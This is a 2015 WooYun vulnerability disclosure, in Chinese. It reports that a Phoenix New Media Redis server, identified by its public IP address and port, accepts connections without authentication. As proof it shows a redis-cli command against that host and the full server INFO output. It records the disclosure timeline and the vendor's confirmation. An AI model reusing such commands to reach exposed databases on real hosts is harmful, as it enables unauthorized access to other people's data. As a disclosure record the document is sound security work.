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缺陷编号:wooyun-2015-0110544

漏洞标题:凤凰网某配置不当数据库未授权访问

相关厂商:凤凰网

漏洞作者: 沦沦

提交时间:2015-04-27 09:35

修复时间:2015-06-12 11:30

公开时间:2015-06-12 11:30

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-04-27: 细节已通知厂商并且等待厂商处理中
2015-04-28: 厂商已经确认,细节仅向厂商公开
2015-05-08: 细节向核心白帽子及相关领域专家公开
2015-05-18: 细节向普通白帽子公开
2015-05-28: 细节向实习白帽子公开
2015-06-12: 细节向公众公开

简要描述:

凤凰网某配置不当数据库未授权访问

详细说明:

Redis
223.203.209.205:6379

HUMD16[O4X{)[B]UZ`8`_(T.png


漏洞证明:

[root@VM_49_12_centos src]# ./redis-cli -h 223.203.209.205 info
# Server
redis_version:2.6.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_mode:standalone
os:Linux 2.6.32-279.el6.x86_64 x86_64
arch_bits:64
multiplexing_api:epoll
gcc_version:4.4.6
process_id:3509
run_id:dc55699ecd745825d6f2390cc80b49fd4e6b2ea5
tcp_port:6379
uptime_in_seconds:9315807
uptime_in_days:107
hz:10
lru_clock:398664
# Clients
connected_clients:8
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0
# Memory
used_memory:268862408
used_memory_human:256.41M
used_memory_rss:303644672
used_memory_peak:359322088
used_memory_peak_human:342.68M
used_memory_lua:31744
mem_fragmentation_ratio:1.13
mem_allocator:jemalloc-3.2.0
# Persistence
loading:0
rdb_changes_since_last_save:6824
rdb_bgsave_in_progress:0
rdb_last_save_time:1430049878
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:2
rdb_current_bgsave_time_sec:-1
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
# Stats
total_connections_received:2098
total_commands_processed:8283888399
instantaneous_ops_per_sec:1077
rejected_connections:0
expired_keys:6127582
evicted_keys:0
keyspace_hits:7526939368
keyspace_misses:148491783
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:2564
# Replication
role:master
connected_slaves:0
# CPU
used_cpu_sys:239850.45
used_cpu_user:123574.00
used_cpu_sys_children:11412.99
used_cpu_user_children:108555.37
# Keyspace
db0:keys=1830338,expires=1830166

修复方案:

权限控制

版权声明:转载请注明来源 沦沦@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-04-28 11:28

厂商回复:

非常感谢您对凤凰网信息安全的帮助,我们正在跟进这个问题以及其他类似情况。

最新状态:

暂无